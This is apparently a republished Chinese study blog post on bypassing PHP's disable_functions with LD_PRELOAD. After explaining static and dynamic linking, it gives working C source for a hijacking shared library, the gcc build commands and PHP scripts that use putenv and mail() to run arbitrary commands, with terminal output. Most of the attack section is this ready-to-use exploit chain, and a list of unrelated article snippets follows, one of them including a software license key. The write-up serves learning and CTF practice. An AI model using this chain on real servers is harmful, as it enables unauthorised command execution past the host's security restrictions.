LD_PRELOAD 绕过 disable_function 学习

news/2025/2/25 9:53:02

借助这位师傅的文章来学习通过LD_PRELOAD来绕过disable_function的原理

【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客

感谢这位师傅的贡献

介绍

静态链接:

(1)举个情景来帮助理解: 假设你要搬家,但家具不换,全部打包带走。

(2)优点:搬到新家后,直接开箱即用,不依赖外部资源(不去邻居家借洗衣机)

(3)缺点:搬家时行李又多又重(程序体积大),而且如果家具升级(比如库更新),得重新买一套再搬一次(重新编译程序)

(4)在编译时,所有依赖的库代码可直接嵌入到可执行文件中,程序独立运行,但体积较大,且库更新需重新编译程序

动态链接:

(1)举个情景来帮助理解:这次搬家,只带必需品,其他东西(比如工具书,电器)选择去附近的图书馆或共享商店按需借用。需要时随时去拿,用完归还。

(2)优点:行李轻便(程序体积小),多个家庭共享同一本书或工具(多个程序共享一个库),资源更新也方便(图书馆换新书)

(3)缺点:可能出现图书馆关门(库文件缺失)
(4)编译时不进行函数库的链接,而是在程序运行时才动态地载入所需的函数库。这样使得可执行文件体积较小,并且多个程序可以共享相同的动态库,节省内存资源。动态链接提高了程序的灵活性和可维护性。

再来了解一下什么是LD_PRELOAD

LD_PRELOAD 是linux/Unix系统中一个强大的环境变量,允许用户在程序运行时优先加载自定义的共享库,从而覆盖或替换标准库中的函数。

 也就是说,通过LD_PRELOAD指定的共享库会在程序启动时最先加载,其定义的函数会覆盖后续加载的同名函数。

用法

那么其利用方法很明显了,如果我们能在我们的自定义库中写入一些与”原本函数“ 作用不同 但同名 的函数,就能成功覆盖掉原本函数的用法了。

跟着师傅的例子再来了解一下

劫持getgid

看看id命令在执行过程中会用到的函数表

┌──(root㉿kali)-[~/Desktop]
└─# readelf -Ws /usr/bin/id     

Symbol table '.dynsym' contains 74 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND endgrent@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (2)

 而这些函数都是可以被我们覆盖的,现在观察一下getgid函数的内容,输入 man getgid

 构造一个与之原型相同的函数

#include<stdlib.h>
#include<unistd.h>
#include<sys.types.h>

gid_t getgid(void){
    unsetenv("LD_PRELOAD");
    // 使用unsetenv删除原有的共享库
    system("'echo 'I hacked U!!\n' > successful");
}

运行指令

gcc --shared -fPIC rob.c -o rob.so

 

 接下来,载入这个库并运行id命令

┌──(root㉿kali)-[~/test]
└─# LD_PRELOAD=./rob.so id
uid=0(root) gid=0(root) groups=0(root)

 得到successful文件

这就是一次劫持操作

绕过disable_function

当题目中有disable_function的限制时,会导致我们拿到的shell都是空的,这时就要想办法绕过disable_function。其实我们要实现的操作主要是执行命令,可以使用LD_PRELOAD环境变量强制该程序优先加载一个恶意共享库(.so文件),覆盖其调用的标准库函数(如getuid()),从而执行任意代码

编写恶意文件

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

__attribute__((constructor)) void hack(void){
// 使用__attribute__((constructor)) 可以在加载库的同时执行函数
    unsetenv("LD_PRELOAD");
    system("ls > hackfile");
    // 用于php
}

 运行指令

┌──(root㉿kali)-[~/test]
└─# gcc --shared -fPIC hack.c -o hack.so

编写hack.php文件

php"><?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
echo file_get_contents("hackfile");
?>

此时再执行,就可以成功劫持了

php">┌──(root㉿kali)-[~/test]
└─# php hack.php
sh: 1: /usr/sbin/sendmail: not found
1
hack.c
hack.php
hack.so
hackfile
rob.c
rob.so
successful

 同时,这位师傅还给出了手动输入参数的做法,真的很厉害

将hack.c改为:

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

__attribute__((constructor)) void hack(void){
// 使用__attribute__((constructor)) 可以在加载库的同时执行函数
    unsetenv("LD_PRELOAD");
    char *cmd=getenv("MY_CMD");
    system(cmd);
}

再将hack.php改为:

php"><?php
$a=$argv[1];
$cmd="$a > hackfile";
@putenv("MY_CMD=".$cmd);
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
echo file_get_contents("hackfile");
?>

 就可以这样运行代码了:

php">┌──(root㉿kali)-[~/test]
└─# php hack.php id
sh: 1: /usr/sbin/sendmail: not found
uid=0(root) gid=0(root) groups=0(root)

前几天看了一篇推文,发觉对漏洞和工具的原理还是要去理解。感谢师傅提供的思路和方法!


http://www.niftyadmin.cn/n/5865348.html

相关文章

python中的JSON数据格式

文章目录 什么是json主要功能Python数据和Json数据的相互转化 什么是json JSON是一种轻量级的数据交互格式。可以按照JSON指定的格式去组织和封装数据。JSON本质上是一个带有特定格式的字符串。 主要功能 json就是一种在各个编程语言中流通的数据格式&#xff0c;负责不同编…

MySQL数据库——多版本并发控制MVCC

大家好&#xff0c;这里是编程Cookbook。本文详细介绍MySQL的并发控制&#xff1a;多版本并发控制MVCC。 文章目录 背景介绍数据库并发控制——锁机制悲观锁和乐观锁悲观锁乐观锁 数据库并发控制——MVCC 的引入MVCC 和锁机制的对比 MySQL 的多版本并发控制 (MVCC)快照读和当前…

VMware15许可证

VMware15许可证 ZY7EU-2JG01-H8EDZ-9NYNX-ZVHW0博客推荐&#xff1a; https://blog.csdn.net/m0_48170265/article/details/133625401?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-133625401-blog-138377401.235v43pc_blog_…

浏览器JS打不上断点,一点就跳到其他文件里。浏览器控制台 js打断点,指定的位置打不上断点,一打就跳到其他地方了。

关闭JavaScript 源代码映射&#xff0c;F12开发者模式 设置->偏好设置->源代码/来源->JavaScript 源代码映射。 肯定不是这个原因导致的&#xff0c;但这个办法可以暂时解决问题&#xff0c;点完这个东西就隐藏了webpack&#xff0c;有懂的来讲讲。 又浪费一个小时…

1_安装JDK和Hadoop

一、解压jdk和hadoop安装包 下载 通过百度网盘分享的文件&#xff1a;jdk-8u172-linux-x64.tar.gz 链接&#xff1a;https://pan.baidu.com/s/1VjhdpfyqdC7ivEBIjTn8tA 提取码&#xff1a;iz25 二、配置环境变量 vi /root/.bashrc添加 #set java environment export JAVA_H…

9.【线性代数】—— 线性相关性, 向量空间的基,维数

九 线性相关性&#xff0c; 向量空间的基&#xff0c;维数 Ax0 什么情况下无解(x不为零向量)1. 向量组的线性无关性2.向量组生成一个空间(S)3. 向量空间的一组基&#xff1a;都满足向量个数相同4. 空间维数 基向量的个数 Ax0 什么情况下无解(x不为零向量) Ax0无解&#xff0c…

解锁DeepSeek,未来为语音直播交友软件源码开发搭建注入新活力

近年来&#xff0c;人工智能技术的快速发展为互联网应用将会带来革命性变化。DeepSeek作为新一代人工智能技术&#xff0c;在语音识别、自然语言处理、情感计算等领域取得突破性进展&#xff0c;为语音直播交友系统的开发与搭建提供了强有力的技术支撑。这项技术的应用正在重塑…

vi的基本使用

以下是vi编辑器的基本使用方法&#xff1a; 一、进入和退出vi 1. 进入vi 打开终端&#xff0c;输入 vi [文件名] 。如果文件不存在&#xff0c;vi会创建一个新的空文件。例如&#xff0c; vi test.txt 。 2. 退出vi 在命令模式下&#xff08;刚进入vi时默认处于命令模式&…